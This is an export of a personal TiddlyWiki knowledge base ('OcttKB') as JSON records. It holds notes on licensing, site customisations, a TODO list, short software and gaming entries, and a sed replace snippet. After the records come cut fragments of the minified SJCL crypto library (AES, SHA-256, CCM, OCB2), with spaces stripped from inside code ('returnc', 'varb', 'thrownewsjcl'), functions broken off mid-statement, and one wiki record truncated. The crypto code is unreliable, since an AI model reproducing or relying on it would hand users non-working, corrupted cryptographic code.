{"created":"20220920160642961","creator":"Octt","text":"!!! Macros\n> \u003C\u003CTDirList $:/Macros 4>>\n\n!!! Theming\n> \u003C\u003CTDirList $:/Styles 4>>\n* [[$:/palettes/Octt Light]]\n\n!!! Modified system files\n* $:/StaticBanner (Shown as banner in statically exported pages)\n* $:/core/templates/static.content (Shown as static HTML content in the standard TiddlyWiki file)\n* $:/core/templates/exporters/StaticRiver (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n\n\u003C!--\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~\n-->","tags":"TiddlyWiki OcttKB $:/i18n:en","title":"OcttKB/Hacks","modified":"20230206111552293","modifier":"Octt"},
{"created":"20220924173239034","creator":"Octt","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|Creative Commons/BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.\n\n{{$:/OcttKB/LicensingButtons}}","tags":"OcttKB Legal $:/i18n:en","title":"OcttKB/Licensing","modified":"20230206113209759","modifier":"Octt"},
{"created":"20230126105640952","creator":"Octt","text":"!!! ''WIP/TODO''\n\n* Move all bachecoctt links (and old GitHub stars) to proper tiddlers\n* Personal easy notes on various technical things of TiddlyWiki\n* Organize all my customizations into plugins easily installable by anyone\n* On showing date and time of last wiki saving (on Index tab on sidebar), also consider when a system tiddler is edited\n\n* Breadcrumbs bar:\n** Show unformatted title on click or at least disable hiding of some tokens\n** Button to copy full path to clipboard\n\n* In whatever directory listing, show button to create a new tiddler in current path\n\n* Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)\n** To use instead of the [[Directory macros|$:/Macros/Directory]], showing automatically on pages that are directories, and also as a file browser for the whole wiki\n\n* Data compression of everything (without breaking TiddlyWiki CLI support)\n** Choosing algorithm: best is probably Zstd\n** Tiddlers should be stored compressed individually; At saving, they are all compressed and stored in the HTML; At loading, they are read and decompressed to start the app\n** Single tiddlers are only compressed when it actually saves space, they should be checked at saving stage\n\n* When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options\n* To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs\n* Case insensitivity for tiddlers (?)\n* Handy button to reload direct scripts like $:/OcttKB/Functions.js\n* A way to reload any internal script (JS macros and exports) without reloading the entire wiki\n* Button to reload a single tiddler; if not possible, then the macros that can fail (e.g. MediaWiki, or all which fetch content from the Internet) should provide their own retry button\n* Fix images embedded with CSS float, make them not go out of tiddler's body if too tall\n* Better positioning of open/close sidebar button (should move the tiddler action bar buttons slightly to the left on single-column layout at least)\n\n* Add a feature to let users send issues or pull requests\n* Maybe add normal user comments?\n\n* Rehost embedded games for better CSS\n** Find the best retro console HTML5 emulator to embed in tiddlers which talk about certain games - they also need to be adapted to load ROMs from URL\n\n* In here I also put some tiddlers that are about a mainstream thing or topic just because they are connected to a more worthy tiddler; they should be tagged as Mainstream so that they can be filtered out in search and stuff\n* Special protection for some tiddlers, not encryption necessarily but just lock access to them globally until a specific task is performed (a password inputted is boring, maybe specific screen swipes is better)\n\n* \"Back to top\" button\n** Made with the style of bilibili, graphic is reused but logic needs to be reprogrammed\n\n!!!! ''Nice to have''\n* When tiddlers are transcluded show a small version of their action bar without the `\u003C\u003C{ >>` macro\n* Automatic lightboxes for images, without having to use the `\u003C\u003Cibox>>` macro\n\n!!!! ''i18n''\n* Make the language bar collapsed by default, or make it a menu callable by a button on the tiddler\n** Show the button as a country flag in the tiddler title maybe? Ideally showing it in place of the \":lang\" suffix when present\n* Selecting to open a language on a tiddler should ideally remove the previously open tiddler from the story river (or else if you switch language many times you have a cluttered river but no real advantage)\n* Automatically handle connections between different-language versions of a tiddler when the only difference in title is the \":lang\" suffix, without manually setting \"i18n\" attribute\n* Automatically handle eventual tiddlers which don't exist by their common i18n name (e.g \"Thing\") but do with a \":lang\" suffix, that should automatically transclude the //preferred language//\n**
{"created":"20230109105615720","creator":"Octt","text":"\u003C\u003CMediaWiki Papier-mâché en 2>>","title":"Papier-mâché","modified":"20230206211440622","tags":"$:/i18n:en DIY","modifier":"Octt"},
{"created":"20230112094752122","creator":"Octt","text":"\u003C\u003CMediaWiki Picross_3D en 2>>","tags":"Nintendo Puzzle NDS TODO $:/i18n:en Game","title":"Picross 3D:en","modified":"20230206203924225","modifier":"Octt"},
{"created":"20230114145440371","creator":"Octt","text":"\u003C\u003CMediaWiki Picross_DS en 1>>","tags":"TODO NDS Nintendo Puzzle $:/i18n:en Game","title":"Picross DS:en","modified":"20230206203924225","modifier":"Octt"},
{"created":"20230114124635690","text":"","tags":"Nintendo NDS TODO $:/i18n:en","title":"PictoChat:en","modified":"20230206111552327","modifier":"Octt"},
{"created":"20230129162927271","creator":"Octt","text":"\u003C\u003CMediaWiki Pilotwings en 2>>","tags":"$:/i18n:en","title":"Pilotwings:en","modified":"20230206111552329","modifier":"Octt"},
{"created":"20230130081850637","creator":"Octt","text":"\u003C\u003CMediaWiki Pine64 en 1>>","tags":"$:/i18n:en","title":"Pine64:en","modified":"20230206111552331","modifier":"Octt"},
{"created":"20230114154328830","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed","tags":"Fediverse TODO $:/i18n:en","title":"Pixelfed:en","modified":"20230206111552333","modifier":"Octt"},
{"created":"20230202110726082","creator":"Octt","text":"\u003C\u003CMediaWiki PlayStation_Portable en 3>>","tags":"Gaming Sony Console $:/i18n:en","title":"PlayStation Portable:en","modified":"20230206111552335","modifier":"Octt"},
{"created":"20230130082217716","creator":"Octt","text":"\u003C\u003CMediaWiki Pokémon en 1>>","tags":"$:/i18n:en","title":"Pokémon:en","modified":"20230206111552338","modifier":"Octt"},
{"created":"20230117105218211","creator":"Octt","text":"A ''pseudo-operating-system'' is a software that acts (in a limited way) like an operating system, but is usually a normal application that runs on top of real OS.\n\n!!! ''Here are some''\n\n* [[daedalOS|daedalOS:en]]\n* ''OS.js'': [[Website|https://www.os-js.org]] | [[Demo|https://demo.os-js.org]] | [[Git|https://github.com/os-js]]","tags":"TODO $:/i18n:en","title":"Pseudo-OS:en","modified":"20230206111552340","modifier":"Octt"},
{"created":"20230108215508443","creator":"Octt","text":"\nA ''pubnix'' (public-unix) is a [[Unix|Unix:en]] server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.\n\nSome pubnixes are formally joined together in networks. One of the most popular active today is [[Tildeverse|https://tildeverse.org]].\n","tags":"Internet $:/i18n:en UNIX","title":"Pubnix:en","modified":"20230206222446135","modifier":"Octt"},
{"created":"20221110120605389","text":"[[Python|https://www.python.org]] is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.\n\n\u003Ca title=\"www.python.org, GPL <http://www.gnu.org/licenses/gpl.html>, via Wikimedia Commons\" href=\"https://commons.wikimedia.org/wiki/File:Python-logo-notext.svg\">\u003Cimg alt=\"Python-logo-notext\" src=\"https://upload.wikimedia.org/wikipedia/commons/c/c3/Python-logo-notext.svg\">\u003C/a>","tags":"Development $:/i18n:en","title":"Python:en","modified":"20230206111552344","modifier":"Octt"},
{"created":"20220922200129612","text":"\u003C!-- \u003C\u003Ci18n>> --->\n\n\u003C!--\nIl ''Rasperino'' (''Raspberry Pi'') è il Single-Board-Computer più epico mai creato.\n--->\n\nIl ''Rasperino'' (''Raspberry Pi'') è un Single-Board-Computer ormai dimostratosi non all'altezza, sia a livello tecnico e pratico, sia per via di come l'azienda opera da più di un anno.\n\n[img[https://assets.raspberrypi.com/static/raspberry-pi-4-labelled-f5e5dcdf6a34223235f83261fa42d1e8.png]]\n\nPiù informazioni al suo riguardo sono disponibili sul sito ufficiale: [[https://www.raspberrypi.com]].\n\nSotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che questo tipo di computer completi.","tags":"Raspberry $:/i18n:it","title":"Rasperry Pi:it","modified":"20230206111646500","i18n":"RasperryPi","modifier":"Octt"},
{"created":"20230202232607543","creator":"Octt","text":"\u003C\u003CMediaWiki ReactOS en 3>>","tags":"$:/i18n:en","title":"ReactOS:en","modified":"20230206111552347","modifier":"Octt"},
{"created":"20230116222004372","text":"\u003C\u003CMediaWiki RetroArch en 3>>","tags":"TODO $:/i18n:en","title":"RetroArch:en","modified":"20230206111552351","modifier":"Octt"},
{"created":"20230130082004553","creator":"Octt","text":"\u003C\u003CWikipediaFrame Rockchip en 5>>","tags":"$:/i18n:en","title":"Rockchip:en","modified":"20230206111552356","modifier":"Octt"},
{"created":"20230128231917475","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung en 1>>\n\nInside the community, some Samsung products, notably smartphones in general, are called various names:\n\n* ''Lagsung'' (Lag+Samsung): Because their [[OneUI]] Android interface is notoriously laggy, and considered \"gummy\" by some.\n* ''Scamsung'' (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.\n* ''Gnusmas'': Just the word \"Samsung\" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.\n* ''handwarmer'': Referred to the company's [[Exynos]] processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.","tags":"$:/i18n:en","title":"Samsung:en","modified":"20230206111552361","modifier":"Octt"},
{"created":"20230116211104011","creator":"Octt","text":"Random saved links that I should put somewhere...\n\n[Moved to private notes]","tags":"$:/i18n:en","title":"Saved Links","modified":"20230206111552363","modifier":"Octt"},
{"created":"20220924130815541","text":"!!! Replace for all files in all subdirectories\n\n```sh\nfind ./ -type f -exec sed -i \"s/Old/New/g\" {} \\;\n```","tags":"Snippets $:/i18n:en","title":"sed/Snippets","modified":"20230206111552365","modifier":"Octt"},
{"created":"20230203222012422","creator":"Octt","text":"//A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.//\n\n* https://simplemobiletools.com/","tags":"Android $:/i18n:en","title":"Simple Mobile Tools:en","modified":"20230206111552367","modifier":"Octt"},
{"created":"20230112104013755","creator":"Octt","text":"\u003C\u003CMediaWiki Splatoon en 3>>","tags":"Platformer TPS $:/i18n:en Game Nintendo","title":"Splatoon:en","modified":"20230206204047619","modifier":"Octt"},
{"created":"20230113230249689","creator":"Octt","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]","tags":"TODO App $:/i18n:en","title":"Standard Notes:en","modified":"20230206111552377","modifier":"Octt"},
{"created":"20230130074458840","creator":"Octt","text":"\u003C\u003CMediaWiki SuperTuxKart en 3>>","tags":"$:/i18n:en","title":"SuperTuxKart:en","modified":"20230206111552383","modifier":"Octt"},
{"created":"20230206204937437","creator":"Octt","text":"\u003C\u003CMediaWiki Telegram_(software) en 1>>","tags":"","title":"Telegram","modified":"20230206205147969","modifier":"Octt"},
{"created":"20230130143847729","creator":"Octt","text":"\u003C\u003C.@Wikipedia The_Legend_of_Zelda en >>","tags":"Nintendo Retro $:/i18n:en Game","title":"The Legend of Zelda:en","modified":"20230206203924230","modifier":"Octt"},
{"created":"20220924193842295","creator":"Octt","text":"[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003CMediaWiki TiddlyWiki en 2>>\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n\u003C\u003C{ TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation Pages''\n* [[DateFormat|https://tiddlywiki.com/#DateFormat]]\n* [[EditTextWidget|https://tiddlywiki.com/#EditTextWidget]]\n* [[Table-of-Contents Macros (Examples)|https://tiddlywiki.com/#Table-of-Contents%20Macros%20(Examples)]]\n\n!!! ''Discussions''\n\u003C\u003C{ \"TiddlyWiki/Discussions\">>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]","title":"TiddlyWiki","modified":"20230206113449289","tags":"TiddlyWiki TODO","modifier":"Octt"},
{"created":"20230127155833205","creator":"Octt","text":"Discussions that helped or might help me solve problems. And also some that are just plain interesing.\n\n* [[Date time wiki last updated or saved?|https://groups.google.com/g/TiddlyWiki/c/RxJdciY7yZY]]\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]], [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]], [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Is there way to make TiddlyWiki system-wide case insensitive?|https://groups.google.com/g/tiddlywiki/c/BcEF4fTzCj8]]\n* [[Macro to Create TOC Like Table with Dot Leader|https://talk.tiddlywiki.org/t/a-macro-to-create-toc-like-table-with-dot-leader/1232]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]], [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n* [[[Plugin] Presenting TW5-Uglify! Plugin compression the TiddlyWIki way!|https://groups.google.com/g/tiddlywiki/c/-kIVw00crRQ]]\n* [[TiddlyWiki Tiddler Editor: How to Improve the Usability?|https://talk.tiddlywiki.org/t/tiddlywiki-tiddler-editor-how-to-improve-the-usability/4657]]","modified":"20230206113315728","modifier":"Octt","title":"TiddlyWiki/Discussions","tags":"TiddlyWiki $:/i18n:en"},
{"created":"20230130074558332","creator":"Octt","text":"\u003C\u003CMediaWiki Tux_Racer en 3>>","tags":"$:/i18n:en","title":"Tux Racer:en","modified":"20230206111552409","modifier":"Octt"},
{"created":"20230109104324882","text":"\u003C\u003CMediaWiki Twitter en 1>>","tags":"Internet TODO $:/i18n:en","title":"Twitter:en","modified":"20230206111552411","modifier":"Octt"},
{"created":"20230206192622617","creator":"Octt","text":"\u003C\u003CMediaWiki Ubuntu en 3>>","title":"Ubuntu","modified":"20230206192749386","modifier":"Octt","tags":"GNU Linux Debian [[Canonical Ltd]]"},
{"created":"20230202232344991","creator":"Octt","text":"\u003C\u003CMediaWiki Unix en 4>>","tags":"$:/i18n:en","title":"UNIX:en","modified":"20230206111552412","modifier":"Octt"},
{"created":"20230113225512278","text":"//wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.//\n\n* https://wallabag.org\n* https://github.com/wallabag","tags":"$:/i18n:en","title":"wallabag:en","modified":"20230206111552419","modifier":"Octt"},
{"created":"20220923144125627","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive:en]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.","title":"Wayback Machine:en","modified":"20230206111552421","tags":"Archiving Internet $:/i18n:en","modifier":"Octt"},
{"created":"20230203214532694","creator":"Octt","text":"\u003C\u003CMediaWiki World_Wide_Web en 5>>\n\n!!! ''Tools''\n\n* ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - [[[Git|https://github.com/webrecorder/replayweb.page]]]\n\n!!! ''Analytics''\n\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' - //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// - [[[Git|https://github.com/arp242/goatcounter]]]\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!!! ''Development''\n\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n\n!!!!! ''Frameworks''\n\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n\n!!!!! ''Libraries''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] - //An HTML5 saveAs() FileSaver implementation//\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //A shim for the iFrame \"srcdoc\" attribute//\n","tags":"Internet","title":"Web","modified":"20230206194153784","modifier":"Octt"},
{"created":"20230114234058763","text":"List of ''Web Apps'' to keep in mind.\n\n\u003C\u003CDirList \"Apps\">>\n\n\u003C!--\n\u003Cul>\n\u003C$list filter=\"[tag[Apps]tag[Web]]\">\n\u003Cli>\n \u003C$link link=\u003C\u003CcurrentTiddler>>/>\n\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->\n\n* [[SVG-Edit|https://svgedit.netlify.app/editor]]","tags":"TODO $:/i18n:en","title":"Web Apps","modified":"20230206111552424","modifier":"Octt"},
{"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet $:/i18n:en","title":"Web design ideas","modified":"20230206111552426","modifier":"Octt"},
{"created":"20221103220025295","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet TODO $:/i18n:en","title":"Webrings","modified":"20230206111552433","modifier":"Octt"},
{"created":"20230130073530575","creator":"Octt","text":"\u003C\u003CMediaWiki Wget en 1>>","tags":"$:/i18n:en","title":"Wget:en","modified":"20230206111552437","modifier":"Octt"},
{"created":"20230203223711243","creator":"Octt","text":"\u003C\u003CMediaWiki Wiki en 3>>","tags":"$:/i18n:en","title":"Wiki:en","modified":"20230206111552440","modifier":"Octt"},
{"created":"20221202225934313","text":"\u003C\u003CMediaWiki Wikipedia en 1>>\n\nIt is truly one of the best places to gain general culture from. For anything that is not found on the [[OcttKB]], you should visit Wikipedia!","tags":"Internet $:/i18n:en","title":"Wikipedia:en","modified":"20230206111552442","modifier":"Octt"},
{"created":"20230112115019993","text":"\u003C\u003CMediaWiki \"Help:Wikitext\" en 1>>\n\n!!! ''MediaWiki's vs TiddlyWiki's Wikitext''\n\n''Documentation'': [[Wikipedia's|https://en.m.wikipedia.org/wiki/Help:Wikitext]] | [[TiddlyWiki's|https://tiddlywiki.com/#WikiText]]\n\n!!!! ''Equalities''\n\n* ''Unordered and Ordered Lists''\n* ''Break lines'': A single newline doesn't break the text, an empty line starts a new paragraph.\n\n!!!! ''Differences''\n\n||''MediaWiki''|''TiddlyWiki''|\n|''Headings''|Name enclosed in a pair of //equals//:\u003Cbr>`=== Heading 3 ===`|Name preceded by //bangs//:\u003Cbr>`!!! Heading 3`|\n|''Bold'':\u003Cbr>Text enclosed in a pair of:|3 //apostrophes//:\u003Cbr>`'''Text'''`|2 //apostrophes//:\u003Cbr>`''Text''`|\n|''Italics'':\u003Cbr>Text enclosed in a pair of:|2 //apostrophes//:\u003Cbr>`''Text''`|2 //slashes//:\u003Cbr>`//Text//`|\n|''Indentation''|`Indentation as used on talk pages:`\u003Cbr>`:Each colon at the start of a line`\u003Cbr>`::causes the line to be indented by three more character positions.`|N/A|\n|''Horizontal Rule''|4 or more //dashes//:\u003Cbr>`----`|3 or more //dashes//:\u003Cbr>`---`|\n|''Hard Linebreaks''|N/A|Text enclosed in 3 //quotes//:\u003Cbr>`\"\"\"`\u003Cbr>`Text`\u003Cbr>`Still Text`\u003Cbr>`\"\"\"`|\n|''Links''|Target first, Name last|Name first, Target last|","tags":"TiddlyWiki MediaWiki $:/i18n:en","title":"Wikitext:en","modified":"20230206111552455","modifier":"Octt"},
{"created":"20230202232517791","creator":"Octt","text":"\u003C\u003CMediaWiki Wine_(software) en 3>>","tags":"$:/i18n:en","title":"Wine:en","modified":"20230206111552464","modifier":"Octt"},
{"created":"20230202230631376","creator":"Octt","text":"\u003C\u003CMediaWiki XDA_Developers en 3>>","tags":"$:/i18n:en","title":"XDA Developers:en","modified":"20230206111552467","modifier":"Octt"},
{"created":"20230130074218718","creator":"Octt","text":"\u003C\u003CMediaWiki Xfce en 3>>","tags":"$:/i18n:en","title":"XFCE:en","modified":"20230206111552470","modifier":"Octt"},
{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Xiaomi Redmi 9T","modified":"20230206224001999","modifier":"Octt"},
{"created":"20230202225649145","creator":"Octt","text":"\u003C\u003CWikipediaFrame XML en>>","tags":"$:/i18n:en","title":"XML:en","modified":"20230206111552472","modifier":"Octt"},
{"created":"20230109104559438","text":"\u003C\u003CMediaWiki YouTube en 1>>","tags":"Internet TODO $:/i18n:en","title":"YouTube:en","modified":"20230206111552474","modifier":"Octt"},
{"created":"20230203223632196","creator":"Octt","text":"\u003C\u003CMediaWiki Zettelkasten en 2>>\n\n* Good website about ZK: [[zettelkasten.de|https://zettelkasten.de/]] (CC BY-SA)","tags":"$:/i18n:en","title":"Zettelkasten:en","modified":"20230206111552476","modifier":"Octt"}
function t(a,b,c){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var d=a.b[c],e=b[0]^d[0],f=b[c?3:1]^d[1],g=b[2]^d[2];b=b[c?1:3]^d[3];var h,k,l,n=d.length/4-2,m,p=4,r=[0,0,0,0];h=a.s[c];a=h[0];var q=h[1],v=h[2],w=h[3],x=h[4];for(m=0;m<n;m++)h=a[e>>>24]^q[f>>16&255]^v[g>>8&255]^w[b&255]^d[p],k=a[f>>>24]^q[g>>16&255]^v[b>>8&255]^w[e&255]^d[p+1],l=a[g>>>24]^q[b>>16&255]^v[e>>8&255]^w[f&255]^d[p+2],b=a[b>>>24]^q[e>>16&255]^v[f>>8&255]^w[g&255]^d[p+3],p+=4,e=h,f=k,g=l;for(m=
if(0>h)throw new sjcl.exception.invalid("this isn't base64!");26<e?(e-=26,c.push(g^h>>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&c.push(sjcl.bitArray.partial(e&56,g,1));returnc}};sjcl.codec.base64url={fromBits:function(a){returnsjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){returnsjcl.codec.base64.toBits(a,1)}};sjcl.hash.sha256=function(a){this.b[0]||this.O();a?(this.F=a.F.slice(0),this.A=a.A.slice(0),this.l=a.l):this.reset()};sjcl.hash.sha256.hash=function(a){return(newsjcl.hash.sha256).update(a).finalize()};
function u(a,b){var c,d,e,f=a.F,g=a.b,h=f[0],k=f[1],l=f[2],n=f[3],m=f[4],p=f[5],r=f[6],q=f[7];for(c=0;64>c;c++)16>c?d=b[c]:(d=b[c+1&15],e=b[c+14&15],d=b[c&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+b[c&15]+b[c+9&15]|0),d=d+q+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(r^m&(p^r))+g[c],q=r,r=p,p=m,m=n+d|0,n=l,l=k,k=h,h=d+(k&l^n&(k^l))+(k>>>2^k>>>13^k>>>22^k<<30^k<<19^k<<10)|0;f[0]=f[0]+h|0;f[1]=f[1]+k|0;f[2]=f[2]+l|0;f[3]=f[3]+n|0;f[4]=f[4]+m|0;f[5]=f[5]+p|0;f[6]=f[6]+r|0;f[7]=
f[7]+q|0}
sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(a){sjcl.mode.ccm.G.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.G.indexOf(a);-1<a&&sjcl.mode.ccm.G.splice(a,1)},fa:function(a){varb=sjcl.mode.ccm.G.slice(),c;for(c=0;c<b.length;c+=1)b[c](a)},encrypt:function(a,b,c,d,e){varf,g=b.slice(0),h=sjcl.bitArray,k=h.bitLength(c)/8,l=h.bitLength(g)/8;e=e||64;d=d||[];if(7>k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);c=h.clamp(c,
8*(15-f));b=sjcl.mode.ccm.V(a,b,c,d,e,f);g=sjcl.mode.ccm.C(a,g,c,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,c,d,e){e=e||64;d=d||[];var f=sjcl.bitArray,g=f.bitLength(c)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);c=f.clamp(c,8*(15-b));k=sjcl.mode.ccm.C(a,k,c,l,e,b);a=sjcl.mode.ccm.V(a,k.data,c,d,e,b);if(!f.equal(k.tag,a))thrownewsjcl.exception.corrupt("ccm:tagdoesn'tmatch");
sjcl.mode.ocb2={name:"ocb2",encrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var g,h=sjcl.mode.ocb2.S,k=sjcl.bitArray,l=k.i,n=[0,0,0,0];c=h(a.encrypt(c));var m,p=[];d=d||[];e=e||64;for(g=0;g+4<b.length;g+=4)m=b.slice(g,g+4),n=l(n,m),p=p.concat(l(c,a.encrypt(l(c,m)))),c=h(c);m=b.slice(g);b=k.bitLength(m);g=a.encrypt(l(c,[0,0,0,b]));m=k.clamp(l(m.concat([0,0,0]),g),b);n=l(n,l(m.concat([0,0,0]),g));n=a.encrypt(l(n,l(c,h(c))));
d.length&&(n=l(n,f?d:sjcl.mode.ocb2.pmac(a,d)));return p.concat(k.concat(m,k.clamp(n,e)))},decrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");e=e||64;var g=sjcl.mode.ocb2.S,h=sjcl.bitArray,k=h.i,l=[0,0,0,0],n=g(a.encrypt(c)),m,p,r=sjcl.bitArray.bitLength(b)-e,q=[];d=d||[];for(c=0;c+4<r/32;c+=4)m=k(n,a.decrypt(k(n,b.slice(c,c+4)))),l=k(l,m),q=q.concat(m),n=g(n);p=r-32*c;m=a.encrypt(k(n,[0,0,0,p]));m=k(m,h.clamp(b.slice(c),p).concat([0,
